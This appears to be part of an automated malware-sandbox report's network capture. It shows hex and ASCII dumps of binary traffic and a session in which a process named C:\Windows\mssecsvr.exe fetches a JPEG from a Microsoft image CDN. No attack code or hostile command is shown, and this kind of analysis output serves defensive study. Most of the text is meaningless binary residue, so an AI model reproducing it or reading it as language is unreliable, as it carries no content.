2022-07-20 11:24:37 UTC	5345	IN	Data Raw: 36 d1 d0 3c b5 6c 58 fc 47 11 dc 8b 74 d5 78 20 b3 3c bf 4d 85 35 e5 f8 a6 49 cc a3 a0 a7 fc 7d 5f e8 52 a5 90 a8 62 4f 08 a5 c9 21 61 bd 4a 5d 0a ec 35 34 6d 22 de 4a 1f 2c b4 73 b0 52 76 9d 82 88 12 05 f6 97 b1 e9 b5 35 80 21 7d 6a 0b 30 35 24 c8 60 74 f5 79 2a 5a 62 b1 2a ba 5b ae dd 1f 66 8b 7c 0c 56 c5 19 50 cf a9 ef 63 19 5b 3a d0 aa 82 95 75 60 59 32 18 e8 dc 95 27 24 20 37 37 0d 09 3c 46 22 4f 76 fd 55 52 ab 3d 82 82 49 e8 14 f3 2b 97 34 78 a9 9c 1b 72 47 28 47 90 a8 5f d7 aa f9 64 2a 27 53 6e 8d b4 63 ba b4 65 86 f6 3b bf 39 29 e9 dc 48 a2 c7 f4 5e 97 9e 5d 90 8e 62 91 0a 38 17 21 b6 75 6a a3 b1 70 a3 11 5d 94 33 be c1 7a 63 9a dc 5c c1 27 96 c0 fe 4a aa 25 b4 80 0e 85 dd fe aa ae fd d3 ba 0b ee 9b 64 71 a2 69 dc 8a 0b 27 02 24 3b 9b 96 3d eb d5 Data Ascii: 6<lXGtx <M5I}_RbO!aJ]54m"J,sRv5!}j05$`tyZb[f\|VPc[:u`Y2'$ 77<F"OvUR=I+4xrG(G_d*'Snce;9)H^]b8!ujp]3zc\'J%dqi'$;=
2022-07-20 11:24:37 UTC	5349	IN	Data Raw: 4e ee eb 76 28 7e 4e d9 10 93 36 3c cd 10 bd 99 46 d5 7b f8 d1 fd 5d 31 e4 f9 87 e3 72 72 e5 ed 32 b1 fc f7 fe e5 66 f7 0e 3a 2e 15 af 27 dd e3 8e 14 68 d9 2e f8 de 5d d5 dd e4 a5 59 eb 6c a7 d1 b5 10 e9 ae 15 d3 91 a7 ca c4 d7 14 96 6b b7 4b b5 ea d9 50 fc 60 1e 55 04 9f 26 ed 06 c1 6f 42 54 9d 95 6e 53 0e 18 41 d2 dd 3e 8d 2f 78 80 34 5b dd da e3 af a3 f2 0e cd 57 22 6d da 2b 93 77 4a 59 b5 a9 cf ca b0 df 19 dd 86 c5 76 6f b2 a9 55 fc f1 20 c2 e5 d1 62 0e dc c6 e7 f2 2e f7 eb d5 3c bf 17 29 70 c4 81 4f c2 bb 95 91 86 d3 a4 32 b3 7a bf a9 59 ff 00 9a f9 e1 e6 f9 c6 4b 69 48 c6 85 03 e8 a5 c3 03 4b dd 66 0e 49 1b 33 b5 b9 59 3e 1d 14 76 0b 7f e8 a1 b9 2f aa ca 85 ef b4 be 9b 5b cb b9 4d d7 0f e2 79 8c d1 81 bd a4 ff 00 58 a4 e7 9b 33 08 31 96 dc 38 dd 5a Data Ascii: Nv(~N6<F{]1rr2f:.'h.]YlkKP`U&oBTnSA>/x4[W"m+wJYvoU b.<)pO2zYKiHKfI3Y>v/[MyX318Z
2022-07-20 11:24:37 UTC	5365	IN	Data Raw: 97 bb 91 f4 0f f8 53 4e 53 0a 83 c4 7e c8 1d 7d 14 95 32 03 c8 50 1e c9 a2 9e 66 75 11 8b 84 1d 5f b4 d4 12 21 23 1e 1b d1 a3 00 2f b6 98 f3 4c c8 b2 65 8b 85 d9 4f a3 ae f4 b7 09 99 86 ce d5 c5 ab b1 82 c4 5c 6c a9 72 a5 32 64 46 be 26 14 21 44 68 40 d8 a2 bb 2c b5 a2 11 bf db b3 87 09 6d 1a 8d 36 1d 16 f7 95 de 79 93 f1 13 58 74 2e c1 4c 73 31 e3 24 3b 74 af ff 00 0d ea ce c9 3e b9 48 eb bd 04 56 90 87 b6 f2 2e 37 a1 63 8e 87 c4 d3 ac 1e 54 f9 98 de ac 0b ed b8 34 97 22 11 04 dc 37 03 89 16 a5 bd fc 7a 77 69 f7 2f c9 78 55 55 0f 48 a4 19 f1 b9 96 47 fc ff 00 d5 45 09 62 ec 09 dd e5 a1 72 aa 43 0f 4e 26 94 64 48 c1 a5 42 74 c6 d6 1f 67 c3 52 e5 79 d0 44 fc 22 34 ab ec 27 af d3 a1 e5 91 73 1b 41 36 93 bb e4 6f 36 97 cc 8c 84 82 2c 47 55 6b 2c 41 86 27 74 Data Ascii: SNS~}2Pfu_!#/LeO\lr2dF&!Dh@,m6yXt.Ls1$;t>HV.7cT4"7zwi/xUUHGEbrCN&dHBtgRyD"4'sA6o6,GUk,A't
2022-07-20 11:24:37 UTC	5381	IN	Data Raw: 3d 2c 7c 55 95 cc 48 e4 c3 ff 00 70 c9 8e 59 24 61 60 ca 40 89 5a fe fd df 7f d0 4a 28 58 77 72 87 b6 ea 33 c4 aa 79 f7 29 ca 82 34 c0 ed 61 95 57 89 f3 1c 8c c1 64 85 49 f2 a9 28 6d fa 71 d5 f9 1c d3 27 97 a5 f1 8f 08 ca bb c4 76 ac 0b ee ea a4 7c bf 3e 36 ca 8f 8e a3 82 1b 6a 8b ed 1e 1d 5d bf af 4f db 36 14 c1 70 63 0c 24 2e 8a cd b4 c7 ef 17 47 9f bf 56 25 89 51 80 c2 e1 ad 92 f2 54 c7 75 1a 9d 6f 57 7c 9a ad 26 36 56 54 a6 fb a5 47 e6 1c 67 ff 00 a7 5e e5 70 09 39 7e 4b 9e d4 68 92 2f 97 52 97 6a bb 1e 21 cb 70 86 38 b8 3c 36 24 79 ee 35 3e af 42 a3 81 3a e3 62 cd 1f 5c 80 a8 b7 d0 bf fa 94 9b 86 76 7d aa f2 26 ef 06 e4 54 83 26 4a cc 74 c4 e2 5a ac e6 79 c3 99 18 f2 00 00 b4 49 aa de 31 a9 25 fd 3a ce 73 dc 72 23 5c 90 36 03 a1 8f e5 df 8b f6 e9 be Data Ascii: =,\|UHpY$a`@ZJ(Xwr3y)4aWdI(mq'v\|>6j]O6pc$.GV%QTuoW\|&6VTGg^p9~Kh/Rj!p8<6$y5>B:b\v}&T&JtZyI1%:sr#\6
2022-07-20 11:24:37 UTC	5389	IN	Data Raw: 81 3a f6 b1 fa 3b a9 56 a1 01 11 54 9f 0d 69 c9 11 c4 0d 9e 2c 7c b4 36 4c b2 73 29 82 c4 a5 82 ec 45 02 e6 df df ad 37 ca 38 d3 e3 ac e9 32 32 5f 4d b5 02 3c 74 ef ff 00 6f 79 48 85 5f 31 d4 05 ec 27 d2 7d eb d3 ff 00 98 21 2b 14 72 b1 24 eb d3 b4 f7 59 5f 77 47 63 b9 54 bb a2 d2 c2 f6 0a 23 5e 1c 79 ba 7b f2 56 8c 22 ea 31 dd 03 85 7d 5a f9 c7 38 1a 5d 87 46 df fe 34 24 5b b1 96 eb bd 1d cf 56 d2 30 eb bd 0c e8 12 3d de 83 e5 a5 c6 77 17 e5 aa 58 ed b7 83 57 71 c9 e9 14 ff 00 92 fa c7 d2 6c 05 67 a0 24 0a 73 85 95 c1 c2 9e 55 53 ad 63 20 11 d2 59 fd 5a 7e 9b d2 7b 85 24 58 6d 6d d1 f3 a8 e1 01 a4 02 f6 d6 94 63 cf 0f 30 cd 92 51 1a a4 2a 5d 98 f6 99 ec 78 8f a9 fc ff 00 65 16 8f bc a0 27 f9 8f 3d 65 97 85 33 22 c8 d7 65 53 65 2d e8 f9 b4 cf 97 43 f0 d0 Data Ascii: :;VTi,\|6Ls)E7822_M<toyH_1'}!+r$Y_wGcT#^y{V"1}Z8]F4$[V0=wXWqlg$sUSc YZ~{$Xmmc0Q*]xe'=e3"eSe-C
2022-07-20 11:24:37 UTC	5405	IN	Data Raw: b5 12 cc d2 36 47 4f d9 5a a8 44 11 8b c6 34 9b 5b 65 2e 38 92 40 c4 b6 d1 e2 14 e8 c1 bb a8 1b f9 6a 1a 0d a9 36 89 94 f4 cd 9d 77 58 35 17 59 d2 c1 8e 6b 48 39 86 41 5c 66 00 ef 48 74 fd 5e db d2 b8 01 1b 2d 5a 8c be 4c 99 80 32 59 64 1d 17 ec 1f 4b c1 48 25 8e 7c 79 be 1e 75 d0 47 57 ed 79 f4 e8 f1 54 c4 1d 78 9a b5 bb 29 52 44 b2 f1 29 df a1 59 74 b5 74 0d b5 6e 43 2c 24 ec bb 75 7d 15 de 5b 8b 26 6c 82 28 85 dd 8d 87 f4 f3 69 85 82 a6 47 41 56 4b 01 73 4c 39 27 25 7e 69 30 51 d8 be f1 fd 8a d2 73 de 72 22 88 60 e2 1d 30 ae e9 d3 b3 57 8b f9 55 ec f9 62 e4 18 2b 89 17 ff 00 51 22 ed f3 50 f7 bf 89 3d 66 38 a5 f6 b6 da af 7b 00 dc ed c3 ea 46 df b7 4a 8e f9 75 1b 9f e1 2f dd a7 f5 eb 4f f2 b4 46 48 a5 64 d8 d1 90 75 0e 9f c3 fb 1a 2b 61 8b f3 8c 7d 8c Data Ascii: 6GOZD4[e.8@j6wX5YkH9A\fHt^-ZL2YdKH%\|yuGWyTx)RD)YttnC,$u}[&l(iGAVKsL9'%~i0Qsr"`0WUb+Q"P=f8{FJu/OFHdu+a}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.7	50600	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:37 UTC	1021	OUT	GET /cms/api/am/imageFileData/RWyZtI?ver=8776 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 11:24:37 UTC	1070	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWyZtI?ver=8776 Last-Modified: Sat, 02 Jul 2022 05:42:52 GMT X-Source-Length: 742870 X-Datacenter: northeu X-ActivityId: b4950ebc-e062-41ac-b770-ffe12a0b9744 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 742870 Cache-Control: public, max-age=411719 Expires: Mon, 25 Jul 2022 05:46:36 GMT Date: Wed, 20 Jul 2022 11:24:37 GMT Connection: close
2022-07-20 11:24:37 UTC	1070	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC8"}!1AQa"q2
2022-07-20 11:24:37 UTC	1152	IN	Data Raw: fe 49 38 2d 4a 54 58 d4 d1 d7 bd d2 3f 4a af 33 86 e9 58 b0 dc 95 e2 a7 fb 4e ee 6b 2e 4b 15 b9 2d c2 86 5a cd 9b 1d aa cc 92 16 5c d5 0b 89 b1 c0 ad a3 71 32 2d db 68 de 1b ad 54 92 63 b5 bf 85 aa 1f b4 6c fe 2a db 95 b2 4b be 5a 37 5a 46 8e 3d d5 8f 75 a8 6d 6c 06 dd 50 2e a0 55 9b 3f 7a a9 53 91 1c ca e6 cb c7 1e ec 7f 0d 50 b9 4d 9c 55 27 d5 4a f0 6a 17 bc 13 74 ab 8c 24 b7 13 69 a1 d2 3e ee 3f 86 a1 4c ee 5a 67 98 1b 6d 48 ab f3 2d 74 2b a3 3b 22 c6 ff 00 96 a6 46 0d d6 ab 2e 5f fd ea 9d 3e 5a cd 8d 47 b1 63 72 d3 3c df 9a a3 67 fb c2 a3 77 1d a9 0d a2 6f b4 0f f8 0d 2c 8e 19 71 f2 fc d5 49 14 b7 4a 72 c6 43 7f b3 55 64 48 e9 90 55 1b 84 8f 6b 11 f7 aa d4 cc c9 fe f5 67 dd 39 ad 60 29 15 5f 0a ad 54 e4 c2 b5 4d 34 9d aa 84 ce 56 ba e2 8e 79 31 2e 24 Data Ascii: I8-JTX?J3XNk.K-Z\q2-hTcl*KZ7ZF=umlP.U?zSPMU'Jjt$i>?LZgmH-t+;"F._>ZGcr<gwo,qIJrCUdHUkg9`)_TM4Vy1.$
2022-07-20 11:24:37 UTC	1172	IN	Data Raw: dd b1 c7 27 f0 83 c0 0b df 3f 90 f7 af 61 f8 3b f1 fa f3 e1 bf 89 a5 b6 4b 15 d2 ac da d9 22 be 8e f5 a4 95 64 71 d6 e9 82 83 b1 c7 c8 ca 89 8c 85 2b ce ec 8f 3a f8 37 63 e2 2f 15 58 f8 87 c2 7e 18 d0 ec b5 0b df 11 c2 9a 5d de a1 3c 33 5c 35 9d b0 9d 25 92 6e a1 62 0b b1 0e f2 19 97 6f 18 cd 7d 45 e1 1f 0d cf f0 df 4d f0 ff 00 81 27 f1 0a dc d9 2b 49 aa 6a fa 7c 3a 14 2c f6 f1 88 72 d7 77 73 19 4b 28 de f1 84 62 5c 82 54 6d c2 32 d6 98 b7 4e ce 9c ff 00 e0 fa 98 e1 f9 dd a4 b6 3e d2 f0 6e ab 6f aa e9 b0 47 a6 5f 5a 6a 1e 62 45 2b 4f 62 c5 95 52 40 8d 16 72 37 30 68 f1 c9 e7 19 fc 38 ad 6a 0d 0f e2 b7 8c bf b1 ae 65 6b ad 3a 48 e7 b6 d4 2d 16 42 88 b1 c5 26 0c a4 8f 99 cb 48 a9 12 f3 8d ac f8 ef 5f 3f fe cc ff 00 1e 2d ee 3c 49 ac f8 72 e3 55 83 4a 7d 61 Data Ascii: '?a;K"dq+:7c/X~]<3\5%nbo}EM'+Ij\|:,rwsK(b\Tm2N>noG_ZjbE+ObR@r70h8jek:H-B&H_?-<IrUJ}a
2022-07-20 11:24:37 UTC	1241	IN	Data Raw: e2 ba cb 0d 3e 3f b0 ac 47 e6 fe f7 f7 ab 5a b8 8b 45 18 c2 8a e6 b9 9d 0d 89 66 5f ee d5 a6 d3 53 6f 2b f3 54 f2 43 f6 59 15 3e f2 d4 ea db 57 9a e0 75 1b d5 33 ad 41 76 33 66 b1 0b f7 d7 e5 fe f5 52 b9 8c 2a ee 1f 7a b6 67 97 7a f3 59 77 0a 19 6a e1 36 f7 09 41 58 a3 fd a1 24 3c 25 58 b5 d4 a4 e9 23 7d ef fc 76 aa cd 0a 1e b5 0b 21 46 e3 a5 74 7b b2 5b 18 fb d7 35 a6 92 37 5e 2b 3a 65 1b b2 2a 34 7d b4 fd c1 fa d2 8a e5 2d dd 94 26 41 fd da a1 24 7b bf 87 e6 ad 89 9d 12 b3 66 b8 8f bf de ae 9a 6d f4 39 67 6d d9 44 af 96 df 76 86 8d 1d 72 57 e6 a9 a4 68 e4 e0 7d ea 63 43 b6 ba dc 9f 53 1b 26 45 1e 9f 14 cd 97 fb d5 1c 9a 24 0e cd 87 db 57 17 6a 7f bd 43 4d 1a f5 5f 9a 85 5a aa 7e eb 22 54 69 49 5a 48 c2 ba d2 cd bc 9c 36 e5 a8 7e c8 76 a9 1f 7a b5 6f 24 Data Ascii: >?GZEf_So+TCY>Wu3Av3fRzgzYwj6AX$<%X#}v!Ft{[57^+:e4}-&A${fm9gmDvrWh}cCS&E$WjCM_Z~"TiIZH6~vzo$
2022-07-20 11:24:37 UTC	1305	IN	Data Raw: d3 68 0b 5c 36 8e a2 93 6d 2a b7 cb 8a 1b e6 5a 2e 3b 21 b4 d5 f9 7d a8 55 dc d4 ed bf 35 3b 88 6e da 4d a3 6d 3d bb d0 ab b5 69 5c 2c 88 db 1d 29 bb 47 5a 7b af 71 f3 51 b7 6d 3b 89 a2 3d bf 37 14 95 26 da 56 f6 aa e6 44 34 44 ab da 9b ed 53 6d f5 a6 ed 1d a9 f3 0b 94 89 bb d2 ff 00 e8 34 ed a7 77 dd a2 aa e8 43 56 86 4a 75 1f 7a 8b 80 dd 98 a4 23 75 3f e6 a5 5a 2e 22 06 5e d4 e6 5f 96 a4 65 3d 69 bb 4f 6a ab 92 32 97 eb 4e 64 3b 68 db dc d2 11 1e ef 5f bd f7 a8 55 a7 ed f9 b9 a7 6d 2d 4e e2 1b f2 b5 14 6d db 4b ca d0 03 59 86 ec 51 f7 a9 db bb 52 ec ff 00 6a 8b 88 6b 7d da 4d bf ec d2 ab 7c d9 fe 2a 46 f9 bd e8 01 bb 4a b5 26 da 93 f8 a8 da 1a 9d c0 89 9b e6 a4 e6 a5 db ba 8d 9b 5a 80 23 56 ff 00 c7 69 7e bf 76 97 61 5a 17 b5 30 16 a7 b7 72 1b 8f e1 a8 Data Ascii: h\6mZ.;!}U5;nMm=i\,)GZ{qQm;=7&VD4DSm4wCVJuz#u?Z."^_e=iOj2Nd;h_Um-NmKYQRjk}M\|FJ&Z#Vi~vaZ0r
2022-07-20 11:24:37 UTC	1321	IN	Data Raw: d3 b1 24 c0 f9 9a a8 5c da 89 1b 26 b5 84 21 7d 4c a5 52 69 68 45 f6 94 7e 7f 8a 9a ce 8c b8 fe 2a 8e 6b 5f 25 7f bd 55 f6 fc d8 ae b5 42 12 d6 2c e4 fa dc a2 ed 24 58 74 cd 54 91 be 6f f6 6a 58 6d de 6a 24 b3 7d df 77 76 da a5 46 29 d9 b1 4b 15 3b 73 72 e8 55 de 36 e6 99 e6 0e b5 6a 1b 19 2e 24 f2 e3 89 99 ea df fc 23 d7 8a b9 31 6d ff 00 7a af 92 94 7e 29 19 7d 62 b4 f5 8c 4c b6 9f e5 a6 fd a0 b5 74 5f f0 86 dd ac 6a ef 17 cb 22 ee 56 fe 1a ad 7f e1 9b 88 66 d9 04 4d 2a ed 0c cc bf 77 75 4c 65 41 bb 73 15 2a 98 84 ae e2 64 7d a9 d6 a2 6b a9 15 b3 5a b6 da 24 b7 13 6c 92 26 55 6f 97 e5 ab 7a a7 84 67 b3 55 93 ef 23 2d 37 f5 78 b5 1b 8a 35 31 12 5c dc a7 36 d7 45 b8 aa 92 48 7a d6 dd d6 8f 2d b2 ef 0b b9 7f bc ad 59 ef 6c 1b f8 6b a2 30 a7 bc 59 12 c4 cd Data Ascii: $\&!}LRihE~k_%UB,$XtTojXmj$}wvF)K;srU6j.$#1mz~)}bLt_j"VfMwuLeAs*d}kZ$l&UozgU#-7x51\6EHz-Ylk0Y
2022-07-20 11:24:37 UTC	1456	IN	Data Raw: 2b 1e 42 85 f5 32 5f 4b b7 8e d5 a4 4d b6 6d 2a ed 65 8d bf 88 67 a7 6e 4d 11 e9 51 5b 5a a9 da b2 c4 ca 1b 74 8a 1b a7 7c d3 ae ac ff 00 b3 57 36 ed ba 2f bb b5 be f6 3b e0 e3 04 55 6b 6b 79 ef e4 c4 6a ac 8b f7 bf 89 7e 95 aa 8b b5 d4 88 be b6 e5 29 43 6e 7f b3 f1 1d b6 e5 65 3f 77 3b ba f6 53 c6 3f 0a 26 b0 9f 4a 8e 70 9b bc a8 e4 2d f3 49 b5 77 63 e6 3d ff 00 0e de d5 ab be 39 bc a9 3c a6 fb ae ad b7 d8 67 3f 8d 58 93 4f 13 6e 12 7f 0a 99 15 97 e6 5d be b5 a7 32 89 9f b3 e6 d8 e5 1d e5 b9 b8 8b 7c 5f 34 8d fc 3f c3 ed de a9 aa 3c 3a 84 f1 bd 9c 7e 44 ff 00 2a c8 cc 77 ab 0f e2 c7 00 f3 5d 85 c6 8f 1d ad d6 c8 99 99 76 86 dc df 2e dc f5 35 93 25 9c 77 12 7c ec bf 32 85 5f 37 2b b9 bd 4d 6d 1a b7 d8 c2 54 75 d7 73 13 49 f2 e6 69 4d dc be 55 aa fc ad b5 Data Ascii: +B2_KMmegnMQ[Zt\|W6/;Ukkyj~)Cne?w;S?&Jp-Iwc=9<g?XOn]2\|_4?<:~Dw]v.5%w\|2_7+MmTusIiMU
2022-07-20 11:24:37 UTC	1519	IN	Data Raw: ec 71 6f 6b 72 1e cf ed 8b 24 52 44 b1 48 db 91 59 b8 dd c0 c9 c7 a6 6b ea 29 e6 95 e2 95 f5 3e 7e a6 5d 4a 4f 4d 0f be db 4f 96 36 fd fc 4d 13 7f 0e e5 a6 7d 8f b0 6a f8 8b 49 f8 8b e3 8f 0f dd 29 d3 b5 eb ed 3e de 0d 9e 5d 8e 9f 23 fd 99 55 7a 0f 21 89 5d a7 ba e3 07 d2 bd d3 c3 3f b5 96 89 71 0d b4 1e 26 d1 75 0b 1b fd a3 cd b9 d3 55 27 81 9b a6 ef 2c 95 64 c9 fe 1f 9a bd 9a 39 9d 2a 8e d2 f7 59 e4 55 c0 55 a6 af 1d 4f 6e 5b 5f 5f 97 6d 27 d9 82 d6 6f 86 3e 20 78 5b c6 6a bf d8 7e 21 d3 ef a7 e3 fd 19 a4 f2 a7 56 f4 31 49 b5 bf 43 5b d2 43 24 6d 89 62 65 6f f6 97 6d 7a b1 a8 a4 af 17 73 c8 97 3c 5d a5 a1 04 70 8e 95 66 3b 53 27 21 69 8a bb aa c4 2e f1 33 62 a6 4d f4 14 6c f7 63 96 c7 63 60 ca bb aa 37 b5 dc dc ed f9 6a c2 4c 5b aa ff 00 ec b4 8d 26 6b Data Ascii: qokr$RDHYk)>~]JOMO6M}jI)>]#Uz!]?q&uU',d9*YUUOn[__m'o> x[j~!V1IC[C$mbeomzs<]pf;S'!i.3bMlcc`7jL[&k
2022-07-20 11:24:37 UTC	1559	IN	Data Raw: cf 7f 3f 16 b4 ef 88 1a b4 1a 87 8b 20 b6 bc 68 ee cc 7f 66 5d eb 12 db 4d 20 79 ce 17 ef b0 39 e1 ba 8f a0 15 cc 78 9b c4 cf 6d e2 ad 6b fb 03 50 68 ac fc db b8 a0 8f 86 45 b7 94 95 f9 78 05 72 98 c3 60 10 3f 1a f2 a4 92 58 e3 63 bb c8 7e 3e 69 33 b9 94 70 78 aa ed a8 49 0d d7 da 60 96 4d ea db 9b 6b 06 fc b3 db f3 ae 78 e0 69 c5 fb bb 76 e8 6b 2c 64 e4 ac f7 3b 78 74 96 b8 58 e1 76 dd 14 51 ed 5f 98 af 4f bb f4 1c f4 aa 1a ae 88 d0 db cb e5 44 ca db 97 fd 5b 06 da c7 b9 e9 d2 a0 b5 f1 4d ec 9c 89 7c f6 65 f9 59 b2 ad cf af 34 f9 35 6b d8 95 67 9e 25 d9 27 de 56 53 f3 56 ce 0e 3d 45 19 26 8c eb 88 e7 f9 92 5f de af 2d e5 b7 cb fa 1a eb 7e 09 fc 44 f1 af 82 f5 eb 3d 33 c3 16 d7 de 21 b5 b9 9c 46 de 17 f9 e5 59 95 8f 48 c0 04 c4 fc 64 38 1e bb b2 32 2b b5 Data Ascii: ? hf]M y9xmkPhExr`?Xc~>i3pxI`Mkxivk,d;xtXvQ_OD[M\|eY45kg%'VSV=E&_-~D=3!FYHd82+
2022-07-20 11:24:37 UTC	1623	IN	Data Raw: 20 80 0f c5 e3 33 a9 d6 4e 38 74 e3 1e fd 7f e0 1f 49 87 cb 55 37 6a ae ef b7 43 37 e0 0f 8a bc 2f 0e 8f 73 a4 e8 5a 54 96 7e 15 d3 58 2d 94 11 c1 23 2d d4 cd b8 cb 21 69 58 79 ee 0f 24 8d c0 6c 24 b0 ca 81 9d e2 9f 15 6f d1 65 83 c7 1e 2c 87 44 d3 75 37 48 a7 9a 26 fb 1c 13 6e 72 9e 57 98 81 a4 da 32 bb d5 08 39 56 6c 0c 9c 3a fa 68 f4 fd 41 6f 2d ad bf b6 16 56 b5 b1 b2 f2 e7 0a aa 82 30 07 97 09 51 1a 60 ab f6 2c 4a 72 de 9c 0f 8b 3c 0f e0 64 b8 d1 75 cd 4f 4c fe dc 4b 9c c1 14 fb 9e 76 8e 58 df 6f 9a aa 0e 3f 7b f2 a6 55 32 c4 6e 03 86 6a f9 ba 72 55 2a de 57 b7 95 9b 6c f6 e5 4f 95 5e 36 4f f0 47 79 a2 df c5 a4 ea de 1c d3 bf b3 e3 d3 f4 bb e9 e4 d3 fc bd 41 64 8a e9 a1 8a 30 60 fb 23 c8 c1 9a 5f fa eb 82 4b 2f 71 ba bd 73 c0 fa 95 ec 7e 15 6d 42 6f Data Ascii: 3N8tIU7jC7/sZT~X-#-!iXy$l$oe,Du7H&nrW29Vl:hAo-V0Q`,Jr<duOLKvXo?{U2njrU*WlO^6OGyAd0`#_K/qs~mBo
2022-07-20 11:24:37 UTC	1758	IN	Data Raw: 52 c9 17 cb 1f 91 bd 1b 9e fb b2 08 cf 1b bf 0c d7 20 d6 1f da 57 09 00 9e 3b 62 cc 57 76 df ba b9 e9 c5 29 5b 71 46 f6 b0 f9 2f ca ab 1f 22 44 45 f9 9a 4d bf 77 f3 eb 49 16 b1 0d c5 c7 90 2e 56 08 9b e5 69 19 77 2c 7e ff 00 e7 a5 68 c7 e0 74 9a 1d f7 17 8b 12 c6 bf 79 7e eb 7a 60 e6 a4 b0 f0 7e 91 0c 32 f9 fa ba c5 3c 9f f2 cd be 45 55 fa e0 e7 f2 aa 8b 80 a4 a6 73 fa 94 30 47 34 b1 a3 6e da db 62 9d a3 dd e6 2f d7 df b5 3a ce 43 6f 63 3e f5 f3 6d fe ea b2 ae df 9c 7b 81 56 35 0b 54 9a de 57 b7 d4 e0 9d 22 57 55 8d 97 e7 6c 71 e9 9c fa 70 29 fe 17 b9 bf 4d 52 23 12 b3 4b 1a 9d cb e5 97 f2 fd ce dc e7 1e b5 7b a3 36 b9 64 54 b9 72 90 f1 e5 aa af ca b1 ee 1b 97 db 72 d5 7b 0d 3f 50 f1 0e ad 67 a7 e9 f6 d7 77 97 b7 38 8e 0b 4b 48 b7 bc d2 1f ba aa 16 ba 6d Data Ascii: R W;bWv)[qF/"DEMwI.Viw,~hty~z`~2<EUs0G4nb/:Coc>m{V5TW"WUlqp)MR#K{6dTrr{?Pgw8KHm
2022-07-20 11:24:37 UTC	1798	IN	Data Raw: af 4e 87 15 7c 8a 5b 99 b9 b8 bd 0d 04 79 6e 1a e4 22 ee b5 95 44 9b 77 05 68 df bf 5a b9 6b 71 05 86 a1 e6 4d 2a af 95 f3 7c cd b5 b7 02 32 0f a1 c7 4a a5 a6 b6 9f 25 c2 8b 85 6b 39 d7 1f bc 5f ba d9 e3 95 ff 00 39 ad 9b 1d 06 ce ea ea 58 ee 27 82 55 9b eb b5 98 f7 dd 9c 29 fa e2 ad 51 57 df 43 3f 6c ec 62 5f 42 1e e2 e5 ed bf 7e ad 29 da d1 ff 00 74 f3 cf f2 a9 ed b3 a6 c3 11 75 db b5 82 b6 ec ed eb 9e 47 38 e2 ba 0b ff 00 05 dd e9 2a d2 d8 2f 9a 9b 7f 79 6d cb 2c 8b e8 3d eb 12 1b 59 75 89 33 6d 14 7b a2 f9 5a d2 46 3e 6c 6b ce 73 9f 7e f5 52 a7 24 11 a8 9e e3 9e e2 07 b1 61 3c 52 4b 3a b6 e5 91 73 b7 71 e8 73 f4 ff 00 0a af 66 b2 bd 9f da 21 f2 fc ce 55 9a 4c 7c cd 9e dd 0e 79 c6 05 6e 58 e9 b2 5a db c4 97 0a b1 5b c9 8f 9a 4b 9f 96 46 f4 18 15 8f 1c Data Ascii: N\|[yn"DwhZkqM\|2J%k9_9X'U)QWC?lb_B~)tuG8/ym,=Yu3m{ZF>lks~R$a<RK:sqsf!UL\|ynXZ[KF
2022-07-20 11:24:37 UTC	1854	IN	Data Raw: e6 7f f5 9f de 54 69 0a a9 22 b8 ea e7 59 7c 23 fb bb c9 f9 2b 7e 76 3b 61 95 e2 aa 69 27 65 e6 ee 7a 37 86 fc 2a ff 00 12 fc 59 af 6b 7e 22 bc 93 5c d1 2c 67 9a 2d 37 ec 37 f3 40 d0 b2 3f cb b3 c9 c6 e0 7b b1 e4 9a e0 75 0d 43 43 f0 2d e5 e4 9f f0 a6 f4 fb 67 59 1e 46 bb d5 2e 67 77 91 89 e5 a4 66 19 62 72 33 93 d6 af 5b c6 9a 2b 67 4f 66 b1 db bb 6f d9 98 a7 5e bf 77 1d 6b 2f 50 d9 73 75 f6 99 e2 8a 5b 86 51 fb f9 23 0c fc 74 e4 f3 5c 1f db b4 e4 ee e0 df cd 7e a8 ec fe c9 9a d1 4d 7d cc e4 2e 3e 3b 5c 69 7a 94 07 54 d4 2d 34 8d 09 a4 0b 1e 89 a7 c8 6c ed 95 73 ff 00 2c f6 1d d1 90 1b ef 67 eb 9e 95 ec 3e 1d f8 85 a7 78 93 52 d3 e3 d3 1a 48 3c d9 fc a9 24 d5 b5 d9 a5 66 8f 1c 7c b8 29 d8 77 ce 7e b5 c8 d8 78 46 2f 10 db ce 2e db 4d 96 29 17 e6 6b 99 23 Data Ascii: Ti"Y\|#+~v;ai'ez7*Yk~"\,g-77@?{uCC-gYF.gwfbr3[+gOfo^wk/Psu[Q#t\~M}.>;\izT-4ls,g>xRH<$f\|)w~xF/.M)k#
